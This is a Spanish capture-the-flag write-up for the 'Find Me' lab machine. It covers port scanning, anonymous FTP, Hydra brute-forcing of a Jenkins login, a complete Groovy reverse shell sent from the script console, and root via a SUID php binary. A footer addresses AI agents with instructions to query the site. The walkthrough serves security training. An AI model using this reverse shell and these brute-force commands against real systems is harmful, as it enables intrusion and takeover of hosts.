# Find Me

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.91
```

para verificar la conectividad de red.

<figure><img src="/files/P1uLN4XTzm1ALLVj81Sa" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.91 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/7RLJKqceMAuS5TdYjpjF" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP, puerto 22** perteneciente al **servicio SSH,** el **puerto 80** perteneciente al **servicio HTTP** y el **puerto 8080** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,22,80,8080 -v 192.168.1.91
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/cQbC0FcLjORtV2mjF55v" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página de por defecto de **Apache**.&#x20;

<figure><img src="/files/6D3vs18YUjjh5NPgQwUI" alt=""><figcaption></figcaption></figure>

Ingresamos la IP pero a través del **puerto 8080** y nos encontramos con el panel de login de **Jenkins**.

<figure><img src="/files/3TnL1AztrsNb4ViWg086" alt=""><figcaption></figcaption></figure>

Al realizar el escaneo encontramos que tenemos acceso anónimo a través de FTP por lo que indagaremos si hay algo relevante. Vemos una nota de `ayuda.txt` por lo que nos la descargamos.

```bash
ftp 192.168.1.91
ls
get ayuda.txt
```

Al mostrar el contenido encontramos un usuario llamado **geralt**. Nos da pistas de lo que recuerda por lo que creamos un diccionario con las distintas posibilidades a tavés de **Crunch**.

<figure><img src="/files/7092hNPxKfkbs2OXTEO5" alt=""><figcaption></figcaption></figure>

```bash
crunch 5 5 -t p@@@a -o diccionario.txt
```

<figure><img src="/files/5NTDQ1WHCPtuVc8Rh0LZ" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Ingresamos el usuario descubierto con una contraseña cualquiera y al inspeccionar la pagina en **Network** cogemos la distinta informacion para realizar el ataque de fuerza bruta.

```bash
hydra -l geralt -P diccionario.txt 192.168.1.91 -s 8080 http-post-form "/j_spring_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=:c=/login:Invalid username or password" -f -V
```

<figure><img src="/files/k46Zsy9vVpQVhCstRuxS" alt=""><figcaption></figcaption></figure>

Iniciamos sesión en **Jenkins** con las credenciales.

<figure><img src="/files/uWjFtdOUP7B4XrJLf10V" alt=""><figcaption></figcaption></figure>

Seleccionamos **manage jenkin**s y luego **script console** que nos permite enviar una reverse shell mediante **Groovy** mediante nos ponemos en escucha.

```bash
String host="192.168.1.50";int port=443;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

```bash
nc -nvlp 443
```

<figure><img src="/files/rGjJoww55XIZWQ2UmFqO" alt=""><figcaption></figcaption></figure>

Hacemos tratamiento de la TTY. Nos cambiamos de usuario a **geralt**.

<figure><img src="/files/OsrydhnJCqADZfZZJvQl" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. Requiere contraseña.&#x20;

Buscamos archivos con permisos **SUID**.

```bash
find / -perm -4000 -ls 2>/dev/null
```

<figure><img src="/files/LmCra6bc9sM7fGRWl2ze" alt=""><figcaption></figcaption></figure>

Buscamos en la página [GTFObins](https://gtfobins.github.io/gtfobins/php/).

```bash
/usr/bin/php8.2 -r "pcntl_exec('/bin/sh', ['-p']);"
```

<figure><img src="/files/PGUoQGgMTGwIEmKHztrU" alt=""><figcaption></figcaption></figure>

Ya somos **root**.&#x20;

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/find-me.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
